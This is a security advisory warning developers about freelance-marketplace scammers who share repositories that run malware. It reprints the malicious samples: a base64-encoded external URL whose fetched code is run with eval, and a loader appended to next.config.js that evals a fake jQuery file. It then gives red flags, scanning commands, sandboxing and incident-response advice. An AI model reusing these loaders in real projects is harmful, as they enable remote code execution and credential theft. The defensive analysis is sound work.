🚨 Beware: Marketplace Scammers Distributing Malware Through Fake Development Projects

The Attack Vector

Attackers are actively using freelance marketplaces and online platforms to distribute malware by tricking developers into running malicious code. Here’s how the attack works:

The Scam Pattern

1. Initial Contact: An attacker contacts you on a freelance marketplace with a message like:

   “I need to fix errors on my project. When you run the project, the loading screen will be lasting. It can’t go to next main dashboard.”

2. Repository Sharing: They share a repository link (e.g., Bitbucket, GitHub) claiming it’s their project that needs fixing.

3. The Trap: The repository contains malicious code that executes automatically when you run the project.

4. Data Theft: Once executed, the malware:

   • Steals your credentials and API keys
   • Exfiltrates sensitive data
   • Executes arbitrary code from remote servers
   • Can compromise your entire development environment

How the Malicious Code Works

Real Example from a Compromised Repository

The malicious code uses several obfuscation techniques to avoid detection:

1. Base64-Encoded Remote URL

// Looks innocent, but decodes to a malicious URL
const AUTH_API_KEY = "aHR0cHM6Ly9pcC1jaGVjay1ub3RpZmljYXRpb24tYXBpLnZlcmNlbC5hcHAvYXBp";
 
// Decodes to: https://ip-check-notification-api.vercel.app/api
const src = atob(AUTH_API_KEY);

2. Remote Code Execution

(async () => {
  const src = atob(AUTH_API_KEY);
  const proxy = (await import('node-fetch')).default;
  try {
    const response = await proxy(src);
    const proxyInfo = await response.text();
    eval(proxyInfo); // ⚠️ DANGEROUS: Executes arbitrary code from external server
  } catch (err) {
    console.error('Auth Error!', err);
  }
})();

What this does:

• Fetches JavaScript code from an external server
• Uses eval() to execute it immediately
• The remote code can do anything on your system
• No user interaction required - runs automatically on import

3. Hidden in Configuration Files

The malware also hides in configuration files:

// next.config.js - looks normal, but has malicious code at the end
module.exports = nextConfig;
 
// Hidden malicious code (often on the same line, hard to see):
const jmpparser = require('fs'); 
jmpparser.readFile(__dirname + '/public/assets/js/jquery.min.js', 'utf8', (err, code) => { 
  eval(code); 
});

Red Flags to Watch For

🚩 Suspicious Patterns

1. Vague Problem Descriptions

   • “Loading screen lasting”
   • “Can’t go to next dashboard”
   • No specific technical details

2. Urgent Requests

   • Asking you to run code immediately
   • Pressuring for quick fixes
   • Offering high payment for simple tasks

3. Unusual File Locations

   • Malicious code in public/assets/js/ (should be minified libraries)
   • Code in configuration files that shouldn’t have executable code
   • Files named like legitimate libraries (jquery.min.js) but contain different code

4. Suspicious Code Patterns

   • eval() or Function() constructors
   • atob() / btoa() (base64 encoding/decoding)
   • Network requests during module initialization
   • Immediately-invoked async functions (IIFE) making network calls
   • Code that fetches and executes remote scripts

5. Suspicious Dependencies

   • Packages with very low version numbers (^0.0.1)
   • Packages with names suggesting execution (execp)
   • Packages you don’t recognize or weren’t mentioned

6. Repository Issues

   • New or empty commit history
   • Few or no contributors
   • Repository created recently
   • No documentation or README

How to Stay Safe

✅ Before Running Any Code

1. Scan the Repository First

   # Search for dangerous patterns
   grep -r "eval(" .
   grep -r "atob(" .
   grep -r "Function(" .
   grep -r "fetch(" . | grep -v "node_modules"

2. Review Configuration Files

   • Check package.json for suspicious dependencies
   • Review next.config.js, webpack.config.js, etc.
   • Look for code that shouldn’t be there

3. Check File Integrity

   • Verify file sizes match expectations
   • Check if “library” files actually contain library code
   • Use file command to check file types

4. Use a Sandboxed Environment

   • Run code in a virtual machine
   • Use Docker containers with limited permissions
   • Never run on your main development machine
   • Use a separate user account with limited privileges

5. Network Monitoring

   • Monitor outbound network connections
   • Use tools like netstat or lsof to see what the app connects to
   • Block suspicious domains

6. Code Review Checklist

   • No eval() or Function() constructors
   • No base64-encoded URLs that decode to external servers
   • No network requests during module initialization
   • All dependencies are legitimate and well-known
   • Configuration files don’t contain executable code
   • No suspicious file operations

What to Do If You’ve Already Run Malicious Code

🆘 Immediate Actions

1. Disconnect from the Internet

   • Stop the malware from communicating with command & control servers

2. Don’t Shut Down the Computer

   • Keep it running for forensic analysis if needed

3. Change All Credentials

   • API keys (GitHub, AWS, Stripe, etc.)
   • Passwords for all accounts
   • SSH keys
   • OAuth tokens

4. Review Recent Activity

   • Check GitHub for unauthorized commits
   • Review AWS/cloud provider logs for unusual activity
   • Check email for password reset requests
   • Review bank/credit card statements

5. Scan Your System

   # Check for suspicious processes
   ps aux | grep -i node
   ps aux | grep -i python
    
   # Check network connections
   netstat -an | grep ESTABLISHED
    
   # Check for modified files
   find . -mtime -1 -type f

6. Clean Your Environment

   • Reinstall Node.js and npm
   • Clear npm cache: npm cache clean --force
   • Remove suspicious global packages
   • Consider reinstalling your development environment

7. Report the Incident

   • Report to the marketplace/platform where you were contacted
   • Report to the repository hosting platform (GitHub/Bitbucket)
   • Consider reporting to cybersecurity authorities

Example of a Safe Code Review Process

Step 1: Initial Inspection (Without Running)

# Clone to a safe location
git clone <repository-url> /tmp/safe-review
cd /tmp/safe-review
 
# Check for dangerous patterns
echo "=== Checking for eval() ==="
grep -r "eval(" . --exclude-dir=node_modules
 
echo "=== Checking for base64 decoding ==="
grep -r "atob\|btoa\|Buffer.from.*base64" . --exclude-dir=node_modules
 
echo "=== Checking for suspicious network calls ==="
grep -r "fetch\|axios\|request\|http" . --exclude-dir=node_modules | head -20
 
echo "=== Checking package.json ==="
cat package.json | jq '.dependencies'

Step 2: Review Configuration Files

# Check Next.js config
cat next.config.js
 
# Check webpack config if exists
cat webpack.config.js 2>/dev/null
 
# Check for hidden characters or appended code
wc -l next.config.js

Step 3: If Everything Looks Safe, Use Sandbox

# Use Docker to run in isolation
docker run -it --rm \
  -v $(pwd):/app \
  -w /app \
  node:18-alpine \
  sh -c "npm install && npm run dev"

Common Attack Patterns

Pattern 1: Fake Library Files

• Files named like jquery.min.js but contain malicious code
• Located in public/ or assets/ directories
• Often much smaller than legitimate library files

Pattern 2: Configuration File Injection

• Malicious code appended to config files
• Often on the same line as legitimate code (hard to see)
• Uses require('fs') to read and execute other files

Pattern 3: Dependency Poisoning

• Suspicious npm packages in package.json
• Packages with execution-related names
• Very low version numbers (0.0.1, 0.1.0)

Pattern 4: Obfuscated URLs

• Base64-encoded URLs that decode to external servers
• URLs that look legitimate but point to attacker-controlled domains
• Use of URL shorteners or suspicious domains

Tools for Detection

Static Analysis Tools

# ESLint with security plugins
npm install --save-dev eslint-plugin-security
 
# npm audit
npm audit
 
# Safety check for Python
pip install safety
safety check
 
# Snyk (free tier available)
npm install -g snyk
snyk test

Runtime Monitoring

# Monitor network connections
sudo netstat -tulpn | grep node
 
# Monitor file system changes
watch -n 1 'find . -mmin -1 -type f'
 
# Process monitoring
htop

Key Takeaways

1. Never trust code from unknown sources - Always review before running
2. Use sandboxed environments - Isolate potentially dangerous code
3. Look for red flags - Suspicious patterns are usually visible
4. Scan before running - Use static analysis tools
5. Monitor your system - Watch for unusual network activity
6. When in doubt, don’t run it - It’s better to be safe than sorry

Reporting Suspicious Activity

If you encounter a suspicious repository or marketplace user:

1. Marketplace/Platform: Report the user through the platform’s reporting system
2. Repository Platform: Report the repository to GitHub/Bitbucket security
3. Share Information: Warn other developers (without sharing the malicious code)
4. Document Everything: Keep screenshots and logs for evidence

Conclusion

This attack vector is particularly dangerous because it targets developers who are trying to help others. The malicious code is designed to look legitimate and execute automatically, making it easy to fall victim.

Remember: If something seems too good to be true, or if a request seems suspicious, trust your instincts. Always review code before running it, especially from unknown sources.

Stay safe, and happy coding! 🛡️